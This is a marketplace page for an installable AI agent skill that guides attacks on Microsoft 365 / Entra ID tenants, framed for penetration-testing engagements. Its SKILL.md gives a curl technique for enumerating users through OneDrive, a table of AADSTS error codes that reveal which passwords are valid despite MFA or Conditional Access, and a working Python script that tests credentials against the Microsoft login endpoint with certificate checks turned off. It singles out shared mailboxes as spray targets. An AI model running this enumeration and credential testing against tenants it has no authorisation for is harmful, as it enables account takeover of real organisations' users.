hunt-m365
Microsoft 365 / Entra ID attack - tenant discovery, user enumeration via OneDrive differential (2026 verified), AADSTS code reference, Smart Lockout math…
Skill by Encod3d-Sec
Chalk Labs
Need help deploying hunt-m365?
Chalk Labs sets up agents like this inside real teams: connected to your tools, tested on your data, with a human in the loop where it matters.
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/encod3d-sec-hunt-m365
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/hunt-m365
What's inside
- Skill name
hunt-m365- Description
- Microsoft 365 / Entra ID attack - tenant discovery, user enumeration via OneDrive differential (2026 verified), AADSTS code reference, Smart Lockout math (hard cap 1-2 attempts/user), ROPC validation, Conditional Access mapping. Wiki-first, FIND schema output.
- License
- MIT
- Instructions
- 143 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
Files (1)
- SKILL.md
SKILL.md (first lines)
# Hunt: M365 / Entra ID
**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
## Wiki
```
qmd_query "Microsoft 365 Entra ID Azure AD tenant discovery user enumeration OneDrive AADSTS smart lockout conditional access ROPC" via wiki-search MCP
```
Hub: [[cloud-moc]] (live index). Primary page: [[azure-ad-enumerate]].
Anchors: [[azure-ad-conditional-access-policy]] (the CA gap you must prove bypassed), [[azure-ad-access-and-tokens]] (ROPC / token issuance).
## Attack surface (ranked - spend the zero-auth signal before any auth attempt)
**Fingerprint (target is M365/Entra) when you see:** `*.onmicrosoft.com`, `*-my.sharepoint.com`, `login.microsoftonline.com` redirects, `enterpriseregistration.*` records, or "Microsoft 365" in tech-stack notes.
1. **Tenant discovery** - zero auth, zero lockout. Namespace type, tenant ID, SharePoint presence.
2. **User enumeration via OneDrive differential** - zero auth, zero lockout. Build the full user list here; it costs nothing against the lockout counter, so do it exhaustively before touching auth.
3. **Auth (ROPC) - LAST, and hard-capped.** Only after 1 and 2 are done. This is the ONLY step that burns the Smart Lockout budget: at most 1-2 attempts per user, ever. See the math below; the ROPC helper enforces it.
## AADSTS Code Reference (Memorize)
| Code | Meaning | Lockout hit? | Action |
|------|---------|-------------|--------|
| 50034 | User does not exist | NO | Skip - remove from spray list |
| 50126 | Wrong password | YES (+1) | User exists - try alternate later |
| 50053 | Account locked (Smart Lockout) | n/a | Pre-existing lockout - flag to client; do NOT retry |
| 53003 | CA blocked token issuance | YES (+1) | **PASSWORD VALID** |
| 50076 | MFA required | YES (+1) | **PASSWORD VALID** |
| 50079 | Strong auth required | YES (+1) | **PASSWORD VALID** |
| 50158 | External auth required | YES (+1) | **PASSWORD VALID** |
| 530003 | Device-state required | YES (+1) | **PASSWORD VALID** |
Codes {53003, 50076, 50079, 50158, 530003} = password confirmed valid. Microsoft only returns these AFTER credential validation.
## Smart Lockout Math (Hard Cap Discipline)
- Default: 10 failed attempts in 10 min -> lockout
- Counter shared across ALL flows (ROPC + SAML + IMAP + EWS)
- **Hard cap: <=1-2 password attempts per user per engagement**
- With 1 attempt/user, lockout is mathematically impossible
- Any AADSTS50053 = pre-existing lockout from another actor
This cap is stricter than the `hunt-core` generic enumeration ceiling and overrides it. Never batch a password list against a user, never loop the ROPC helper without its per-email attempt file, and never re-run a user that already spent its attempt. If a step would exceed 1-2 attempts/user, stop and reduce it.
## Tenant Discovery
```bash
msftrecon -d client.example
# Key fields: Tenant ID, Namespace Type (Managed = ROPC works | Federated = ADFS)
# SharePoint Detected: Yes -> OneDrive enum available
```
## User Enumeration (OneDrive Differential - Verified May 2026)
```bash
# 200 with ~57KB body = user EXISTS (licensed)
# 404 with 0 bytes = user DOES NOT EXIST
curl -sk "https://<tenant>-my.sharepoint.com/personal/<user>_<domain>_com/_layouts/15/onedrive.aspx"
# Zero auth attempts -- zero lockout impact
```
Signal: OneDrive 404 + ROPC AADSTS50126 = functional/shared mailbox account (no OneDrive license, has password) = prime target for spray (historically MFA-exempt).
## ROPC Validation (Single-Attempt Pattern)
`HARD_CAP = 1` is load-bearing, not a default. The per-email attempt file is what keeps step 3 inside the Smart Lockout math above - do not remove it, do not raise the cap, do not call `attempt()` in a bare list loop.
```python
import urllib.request, urllib.parse, ssl, json, os
HARD_CAP = 1 # Never higher
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
def attempt(email, password):
state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
if state.get(email.lower(), 0) >= HARD_CAP:
return {"status": "SKIPPED_CAP"}
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
body = urllib.parse.urlencode({
"resource": "https://graph.windows.net",
"client_id": "1b730954-1685-4b74-9bfd-dac224a7b894",
"client_info": "1",
"grant_type": "password",
"username": email,
"password": password,
"scope": "openid",
}).encode()
req = urllib.request.Request(
"https://login.microsoftonline.com/common/oauth2/token",
data=body,
method="POST"
)
try:
resp = urllib.request.urlopen(req, context=ctx, timeout=15)
result = json.loads(resp.read())
token_result = {"status": "VALID_TOKEN", "token": result.get("access_token","")[:20]+"..."}
except urllib.error.HTTPError as e:
err = json.loads(e.read())
code = err.get("error_codes", [0])[0]
token_result = {"status": "ERROR", "code": code, "desc": err.get("error_description","")[:80]}
state[email.lower()] = state.get(email.lower(), 0) + 1
with open(ATTEMPT_FILE, "w") as f:
json.dump(state, f)
return token_result
```
## Conditional Access Mapping
After finding valid credential (AADSTS53003/50076/etc), document CA policy:
- Note which client_id variants are tried (Graph PS, Azure CLI, Office)
- Note if CA is per-app or universal
- If universal CA: document as "valid credential, external access blocked by CA - phishing/AiTM required for exploitation"
## Confirmation gateFrom Encod3d-Sec/TORCH, MIT.
More from Encod3d-Sec/TORCH
- 0.741score
ingest
Encod3d-Sec
Synthesize raw recon/test output into engagement state.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
metasploit
Encod3d-Sec
Drive msfconsole across the workflow - DB-backed recon (db_nmap, auxiliary scanners), version->exploit search/check/run, multi/handler reverse shells…
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
campaign-health
Encod3d-Sec
Health check for the bb/pt/ctf workflow driver subsystem - verifies everything is in place so every machine runs the same.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
fuzz
Encod3d-Sec
Adaptive, targeted web fuzzing - deterministic wordlist selection (wl-pick.sh) plus judgment.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
hunt-idor
Encod3d-Sec
IDOR / BOLA hunting - two-account methodology, identifier discovery and UUID leak chaining, the trusted-identifier test, GraphQL node and nested-object IDOR…
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
learn
Encod3d-Sec
Post-engagement knowledge harvest AND harness retrospective - after a box/bugbounty/pentest/CTF is completed, first diff how the engagement was EXECUTED…
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
hunt-windows
Encod3d-Sec
Local Windows privilege escalation on a STANDALONE / workgroup host, or a local shell on a domain member - foothold to SYSTEM.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
arsenal
Encod3d-Sec
Wiki-first "what do I use" lookup - pick the automated TOOL (wiki/tools/), then the PAYLOAD/technique (wiki/payloads/ + wiki/cheatsheets/), for a…
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
coverage
Encod3d-Sec
Show per-asset vuln-class coverage gaps for the active engagement so nothing in scope is skipped.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
delegate
Encod3d-Sec
Autonomous sub-agent hand-off for a fiddly, fully-specified exploit-compile / escalation RUN - the main agent stays on strategy and the board while a cheap…
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
hunt-ics
Encod3d-Sec
ICS/SCADA/OT exploitation - Modbus (502), S7comm (102), EtherNet/IP (44818), DNP3, OpenPLC, Node-RED SCADA, PLC/HMI/coil/holding-register attacks.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
redteamlead
Encod3d-Sec
On-demand senior red-team lead advisor.
SkillBFreshness: B★ 335Claude Code +9
Signals
- Stars
- 335
- Forks
- 49
- Open issues
- 0
- Last commit (this folder)
- Jul 27, 2026 (3 months ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- MIT
- Repository
- github.com/Encod3d-Sec/TORCH
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from Encod3d-Sec
- 0.741score
hunt-windows
Encod3d-Sec
Local Windows privilege escalation on a STANDALONE / workgroup host, or a local shell on a domain member - foothold to SYSTEM.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
campaign-health
Encod3d-Sec
Health check for the bb/pt/ctf workflow driver subsystem - verifies everything is in place so every machine runs the same.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
hunt-ics
Encod3d-Sec
ICS/SCADA/OT exploitation - Modbus (502), S7comm (102), EtherNet/IP (44818), DNP3, OpenPLC, Node-RED SCADA, PLC/HMI/coil/holding-register attacks.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
hunt-idor
Encod3d-Sec
IDOR / BOLA hunting - two-account methodology, identifier discovery and UUID leak chaining, the trusted-identifier test, GraphQL node and nested-object IDOR…
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
arsenal
Encod3d-Sec
Wiki-first "what do I use" lookup - pick the automated TOOL (wiki/tools/), then the PAYLOAD/technique (wiki/payloads/ + wiki/cheatsheets/), for a…
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
coverage
Encod3d-Sec
Show per-asset vuln-class coverage gaps for the active engagement so nothing in scope is skipped.
SkillBFreshness: B★ 335Claude Code +9
Done for you
Rather not set it up yourself?
Chalk Labs scopes, builds and runs agents for your team: the task audit, the eval harness, the integrations and the weekly ops report. Fixed scope, priced before we start.
See how we build AI agents →Read the case studies
Chalk Labs is a two-founder AI and growth studio. We build AI agents, CRMs and MVPs for Web3 and AI companies, and have shipped 50+ product and token launches.
- launches shipped
- 50+
- launches shipped
- media placements
- 500+
- media placements
- founders on every account
- 2
- founders on every account
Press we've placed: Forbes · CoinDesk · Decrypt · Cointelegraph · The Block
Rahil Jain, Co-founder, Chalk Labs. Ex-Goldman Sachs engineer. You talk to the person who builds it.
Get hunt-m365 running in your business
Tell us what you want to automate. A founder replies within one working day with a plan, not a pitch deck.
Cite this page
hunt-m365 skill. Agent Mart. https://agentmart.dev/skills/encod3d-sec-hunt-m365 (last updated 2026-10-24)